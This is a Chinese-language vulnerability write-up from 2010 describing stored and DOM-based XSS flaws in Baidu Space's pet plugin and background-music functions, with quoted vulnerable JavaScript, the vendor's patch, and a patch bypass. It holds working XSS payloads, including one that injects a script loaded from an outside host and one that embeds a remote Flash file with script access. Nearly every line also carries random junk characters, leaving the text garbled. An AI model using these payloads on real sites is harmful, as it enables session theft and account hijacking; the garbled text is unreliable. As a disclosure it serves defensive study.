百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 0 T5 |4 U+ E$ B0 }, q; t( Q( Q
7 z2 ?$ j! a+ n- w( I& T1 q3 e' s k2 |1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
# y5 E9 u' q- d3 @) x- I2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
$ J3 Y- ? u5 h& U* n
8 y; l/ E( o# u4 M6 E. W& O将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 9 l% [. }2 d. ~3 V$ [
其中BdUtil.insertWBR为 - M: y F" y4 ?, [* S
function(text, step) { # r0 |1 B4 G! w( J: g8 D1 g
var textarea = textAreaCache || getContainer();
P0 l P7 ^& E- ]" R/ X9 S8 f. J3 b if (!textarea) {
! g& F: M6 \% B! j# l return text; 3 N f% j& Q( Y) d& o
}
& t- q/ M+ R% q( O T textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); $ }3 p$ g0 Y( v; M; z' m
var string = textarea.value; ) E4 X1 b' \" ~7 r$ X6 R2 f
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
. D/ Q! \ Q8 W% I& |4 H/ g var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); ' d- E4 o4 _6 s4 B# J
return result;
) S- u1 l4 C% T, L# e& ^# l5 t6 l}
, G* I x0 Y/ C5 ]. |在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
" j# j- T N& h8 ^! r) i# L测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
' L R8 P3 `1 e, w5 u/ o$ G4 s
5 A9 c/ C4 A" c2 P二:creatbgmusic() Dom-Xss Bug # w2 {& G+ o) |) `/ |
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
9 B8 }8 R5 N' @7 C1 F: ~, c# ? @: T' B$ G9 F# T
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: / C9 w) t% d0 Q6 y' e. k8 f
) U6 I) u; n4 N& L2 B; c
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { + x! I0 _$ @! T
//传入的murl赋值到bgmusic1和bgmusic2中
( {/ G% B$ @ A. j! I$ a/ t //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
4 b0 U2 ^8 E0 ~* _/ z var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
( K$ t5 g7 }& t* ^* H) [4 X( F if (musicnum <= 1) { 9 ^6 ^; R% p( C# O: E% Q+ `
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; $ o" g& u3 I4 O
}
8 _ n4 c- E2 F1 F! h, e: s; [: B bgmusic1 += "</OBJECT>";
& _: y9 Z1 j7 [5 i% E: n$ A var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; ) S4 L1 F! r1 K: S; b! l
if (musicnum <= 1) {
( ?+ S4 u2 |8 \ bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; $ g2 H; U2 y; T2 X/ C5 \
} 3 e% ^: Z( w1 e
bgmusic2 += "> </EMBED>"; 0 i, D4 B% l( Y5 r- ^ j% W
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
8 b: R# y3 d1 z7 r0 K9 d3 w8 V var bgmus = detectWMP(); + d- V; z8 O. ]5 u* g+ K" K
if (functype == "FckMusicHelper") {
9 `4 P2 d9 E5 k2 L4 ]9 b if (bgmus.installed) {
7 J( o4 g. K4 e, s7 L9 ? if (bgmus.type == "IE") { . S3 p: q; ^. L5 R7 W
return bgmusic1;
, h! K5 M1 _: d' l } else if (bgmus.type == "NS") { ; N* ~0 Y4 N. I8 `9 k/ w
return bgmusic2; , o3 F% e) D! P2 b3 ~! G5 I0 ]
}
; t( v# ~9 |$ ?; E/ m } else { ; I8 K- d, F0 v; {
return bgmusic3; * k, ?* C/ y; z6 [
}
. d, _$ S% e" X, u } else { : t/ m, b/ h* p3 [6 d
if (bgmus.installed) { 2 }: g% e7 Q; u Y( O) f# N
//document.write 直接输出bgmusic变量 导致xss ( l) \) s1 x* t! a+ o1 \8 g) K
if (bgmus.type == "IE") {
6 k2 J9 h* K) U) O" T document.write(bgmusic1);
% `' i; L$ C: k/ T- n; p, p R } else if (bgmus.type == "NS") {
* y7 r. v3 E* K4 ^+ d* Y/ p4 [ document.write(bgmusic2); . f0 I7 h. n5 _ U( c2 N
}
- s Q8 ^0 s1 x5 V k: d } else {
L5 R: b7 m: x6 y1 m/ B" _1 G document.write(bgmusic3);
5 Z7 a$ G' h5 z( X* H/ x+ | }
# z( D4 ~) B/ g. \, u return ""; 6 k! S; ^4 k, C6 S( F7 ~
}
1 r3 k$ J4 F. x, F. t4 G( p}
^4 k3 m' z9 R" o% v( X5 b5 h7 t
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
2 a! V4 B: s! h) E5 O/ J" V4 ^, |2 J( R' R, B* N6 k4 U
function initBlogTextForFCK(){ 2 d/ J5 ?/ \' A( i4 d9 i
//fck init music
9 p6 s/ I% o# V; H5 z _( oif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
7 e& s8 z, O Q4 ?& q( t/ S9 mvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 0 {6 N$ V g' H0 k9 q8 m, ~4 S7 a
var isAutoPlay=true; / E3 T9 c1 J- |# l; B& d4 S
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
: y4 W& [ H( _% q! ] [& R7 O var img=imgBox; . ^9 P' k, Q# g- J
if(img.getAttribute(’rel’)){ 0 |" K$ r1 H0 d" N
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
: m+ x ?- X, o+ L% @ var musicDiv = document.createElement("SPAN"); / o' ?2 Y' @" L$ I8 J. L% H6 N2 g
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
0 k* Z" u" _' o% |
. l" _) f. P3 N6 y ..........................
4 P6 N& F+ k1 X0 `2 C+ i" W ) T0 V: `$ ^5 S V* p
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
* _# x: o8 C. ]& C) `7 J var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
g) E$ P- _7 l( T, l1 A7 P shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
u6 t4 d7 B! D4 @3 P2 O( v$ c; K- e musicDiv.innerHTML=shtml; ! s. K/ X' X" o( v$ V1 ?& N" X
i--;n--;
4 ^7 [, U- a1 |( Z$ f }
$ G1 X: Z# [3 Z& k4 C) o! x5 L7 A+ M} # e7 y/ z- h7 k: \, _, t: q# h) c4 K
z( x- ~& a3 ^% G
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. / O! b1 ?& G$ F7 ~8 c6 s* Z
) z; U/ E0 c9 d测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> q4 Z+ i8 \5 j/ P
: o2 P/ Q, u" ]3 a0 L7 P等待官方补丁 7 j7 t' {7 [* f- j3 i
" }/ q# n( K0 y# I8 _7 jupdate 2010年5月13日
$ W; z& X5 J. f3 B! d, y; l; M5 x2 Z, L1 f6 w' t& r
官方补丁: / w" @: y# c: H, m0 L2 L) v; R) r' ?
. b# l8 R# B0 V; n) l! [: ~. n5 j* ^
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 3 d+ ?. w7 L N
改为:
" e) J1 ~& `/ @' L% v# \var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 8 c" W+ w3 B: w1 r6 k
6 Q& l" M% |! b' G. G. C3 Pupdate 2010年5月13日 21:50:37
\6 a# ^) \2 a; s! x4 G
0 A; p( U% {" n- W# x补丁存在漏洞 没有过滤" 可以继续跨:
$ R, c0 q) _+ K: w5 s
; L/ Z3 ?6 n) D. K: GNEW POC:
0 k/ |. H& e' j) e7 e
4 j/ h5 w! ^" k) f$ _3 s9 z<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" & \7 o9 S1 q+ o5 M6 h e1 C. v: o
6 y( E0 I8 T6 i( G6 h( h& [allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>; E5 G0 a5 U2 F) w$ u
3 u/ K n) F& v; `0 T |